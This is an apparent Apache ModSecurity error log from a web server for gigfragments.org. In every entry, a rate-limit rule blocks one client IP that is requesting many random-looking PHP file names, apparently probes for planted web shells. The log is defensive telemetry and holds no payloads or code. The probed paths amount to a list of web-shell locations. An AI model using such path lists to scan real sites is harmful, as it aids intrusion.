[Sat Feb 28 01:01:40.715255 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43814] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaHN9L_i6nvKNhjFW7UtuQAAAQY"]
[Sat Feb 28 01:01:41.126682 2026] [:error] [pid 15100:tid 15177] [client 20.220.196.236:43730] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaHN9UOEbzcINan_ctK4TwAAAFE"]
[Sat Feb 28 01:01:41.537773 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43822] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaHN9b_i6nvKNhjFW7UtvQAAARg"]
[Sat Feb 28 01:01:41.949895 2026] [:error] [pid 15099:tid 15157] [client 20.220.196.236:43659] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaHN9envP2vtPjYDq_guhgAAANg"]
[Sat Feb 28 01:01:42.362664 2026] [:error] [pid 15240:tid 15266] [client 20.220.196.236:43732] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaHN9i1iKL_41Rk9A9NljwAAABg"]
[Sat Feb 28 01:01:42.774676 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43794] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "aaHN9r_i6nvKNhjFW7UtvwAAAQM"]
[Sat Feb 28 01:01:43.185467 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43733] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaHN9wP6I7SRqrhh7RrlDwAAAUs"]
[Sat Feb 28 01:01:43.596224 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43717] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaHN9wP6I7SRqrhh7RrlEgAAAVI"]
[Sat Feb 28 01:01:44.009133 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43861] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaHN-OnvP2vtPjYDq_guiwAAAME"]
[Sat Feb 28 01:01:44.421822 2026] [:error] [pid 15100:tid 15177] [client 20.220.196.236:43800] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/06.php"] [unique_id "aaHN-EOEbzcINan_ctK4YQAAAFE"]
[Sat Feb 28 01:01:44.837612 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43757] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaHN-C1iKL_41Rk9A9NllQAAABc"]
[Sat Feb 28 01:01:45.248619 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43680] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaHN-QP6I7SRqrhh7RrlHgAAAUo"]
[Sat Feb 28 01:01:45.657984 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43851] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaHN-QP6I7SRqrhh7RrlIQAAAVc"]
[Sat Feb 28 01:01:46.071514 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43789] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aaHN-gP6I7SRqrhh7RrlJgAAAUM"]
[Sat Feb 28 01:01:46.483143 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:43807] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaHN-i1iKL_41Rk9A9NlmgAAAAk"]
[Sat Feb 28 01:01:46.897014 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43859] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaHN-gP6I7SRqrhh7RrlLwAAAUc"]
[Sat Feb 28 01:01:47.306850 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43670] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaHN-wP6I7SRqrhh7RrlNQAAAVE"]
[Sat Feb 28 01:01:47.717730 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43858] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fot.php"] [unique_id "aaHN-wP6I7SRqrhh7RrlPAAAAVY"]
[Sat Feb 28 01:01:48.129276 2026] [:error] [pid 15240:tid 15257] [client 20.220.196.236:43736] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaHN_C1iKL_41Rk9A9NlmwAAAA8"]
[Sat Feb 28 01:01:48.540028 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43802] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaHN_L_i6nvKNhjFW7Ut0wAAAQ0"]
[Sat Feb 28 01:01:48.949326 2026] [:error] [pid 15099:tid 15142] [client 20.220.196.236:43793] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaHN_OnvP2vtPjYDq_gujgAAAMk"]
[Sat Feb 28 01:01:49.360958 2026] [:error] [pid 38586:tid 38605] [client 20.220.196.236:43790] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaHN_b_i6nvKNhjFW7Ut1QAAARA"]
[Sat Feb 28 01:01:49.779321 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43927] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaHN_S1iKL_41Rk9A9NloAAAAAc"]
[Sat Feb 28 01:01:50.191778 2026] [:error] [pid 38586:tid 38610] [client 20.220.196.236:43801] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaHN_r_i6nvKNhjFW7Ut3AAAARU"]
[Sat Feb 28 01:01:50.603866 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43893] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaHN_r_i6nvKNhjFW7Ut4QAAAQ0"]
[Sat Feb 28 01:01:51.015813 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43828] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaHN_7_i6nvKNhjFW7Ut5gAAARI"]
[Sat Feb 28 01:01:51.426831 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43731] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaHN_wP6I7SRqrhh7RrlWgAAAVY"]
[Sat Feb 28 01:01:51.842579 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43712] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaHN_7_i6nvKNhjFW7Ut7QAAAQc"]
[Sat Feb 28 01:01:52.255266 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43785] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaHOAAP6I7SRqrhh7RrlYQAAAUQ"]
[Sat Feb 28 01:01:52.667776 2026] [:error] [pid 38586:tid 38594] [client 20.220.196.236:43825] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaHOAL_i6nvKNhjFW7Ut8gAAAQU"]
[Sat Feb 28 01:01:53.079404 2026] [:error] [pid 15240:tid 15247] [client 20.220.196.236:43816] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaHOAS1iKL_41Rk9A9NlpwAAAAU"]
[Sat Feb 28 01:01:53.490059 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:43831] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaHOAS1iKL_41Rk9A9NlqAAAAAk"]
[Sat Feb 28 01:01:53.902586 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43727] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaHOAQP6I7SRqrhh7RrlawAAAUg"]
[Sat Feb 28 01:01:54.314485 2026] [:error] [pid 15100:tid 15167] [client 20.220.196.236:43901] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev1s.php"] [unique_id "aaHOAkOEbzcINan_ctK4lwAAAEc"]
[Sat Feb 28 01:01:54.728490 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:43891] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aaHOAr_i6nvKNhjFW7Ut-QAAAQQ"]
[Sat Feb 28 01:01:55.140023 2026] [:error] [pid 15100:tid 15161] [client 20.220.196.236:43773] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aaHOA0OEbzcINan_ctK4oAAAAEE"]
[Sat Feb 28 01:01:55.551576 2026] [:error] [pid 15100:tid 15180] [client 20.220.196.236:43783] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aaHOA0OEbzcINan_ctK4pAAAAFQ"]
[Sat Feb 28 01:01:55.961563 2026] [:error] [pid 15099:tid 15137] [client 20.220.196.236:43740] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffd.php"] [unique_id "aaHOA-nvP2vtPjYDq_gukwAAAMQ"]
[Sat Feb 28 01:01:56.371635 2026] [:error] [pid 15099:tid 15135] [client 20.220.196.236:43662] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aaHOBOnvP2vtPjYDq_gulQAAAMI"]
[Sat Feb 28 01:01:56.783839 2026] [:error] [pid 15099:tid 15152] [client 20.220.196.236:43766] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aaHOBOnvP2vtPjYDq_gulgAAANM"]
[Sat Feb 28 01:01:57.200001 2026] [:error] [pid 15099:tid 15143] [client 20.220.196.236:43819] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aaHOBenvP2vtPjYDq_gumQAAAMo"]
[Sat Feb 28 01:01:57.611732 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43799] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admiin.php"] [unique_id "aaHOBQP6I7SRqrhh7RrlgwAAAVU"]
[Sat Feb 28 01:01:58.020879 2026] [:error] [pid 15100:tid 15172] [client 20.220.196.236:43676] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aaHOBkOEbzcINan_ctK4swAAAEw"]
[Sat Feb 28 01:01:58.431920 2026] [:error] [pid 38586:tid 38597] [client 20.220.196.236:43778] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aaHOBr_i6nvKNhjFW7UuBwAAAQg"]
[Sat Feb 28 01:01:58.841648 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43817] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aaHOBr_i6nvKNhjFW7UuCAAAAQY"]
[Sat Feb 28 01:01:59.252810 2026] [:error] [pid 15100:tid 15181] [client 20.220.196.236:43711] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aaHOB0OEbzcINan_ctK4ugAAAFU"]
[Sat Feb 28 01:01:59.665855 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43749] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaHOBwP6I7SRqrhh7RrlmAAAAUY"]
[Sat Feb 28 01:02:00.082117 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43763] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaHOCAP6I7SRqrhh7RrlngAAAUA"]
[Sat Feb 28 01:02:00.496964 2026] [:error] [pid 38586:tid 38601] [client 20.220.196.236:43728] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaHOCL_i6nvKNhjFW7UuCwAAAQw"]
[Sat Feb 28 01:02:00.910318 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43689] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aaHOCAP6I7SRqrhh7RrlogAAAUM"]
[Sat Feb 28 01:02:01.322900 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43752] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOCb_i6nvKNhjFW7UuDgAAAQ4"]
[Sat Feb 28 01:02:01.735114 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43824] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOCQP6I7SRqrhh7RrlrQAAAVY"]
[Sat Feb 28 01:02:02.148197 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43762] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOCr_i6nvKNhjFW7UuGgAAAQY"]
[Sat Feb 28 01:02:02.561571 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43594] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOCr_i6nvKNhjFW7UuGwAAARI"]
[Sat Feb 28 01:02:02.983208 2026] [:error] [pid 38586:tid 38599] [client 20.220.196.236:43837] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaHOCr_i6nvKNhjFW7UuHwAAAQo"]
[Sat Feb 28 01:02:03.399170 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43739] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaHOCwP6I7SRqrhh7RrlxAAAAUM"]
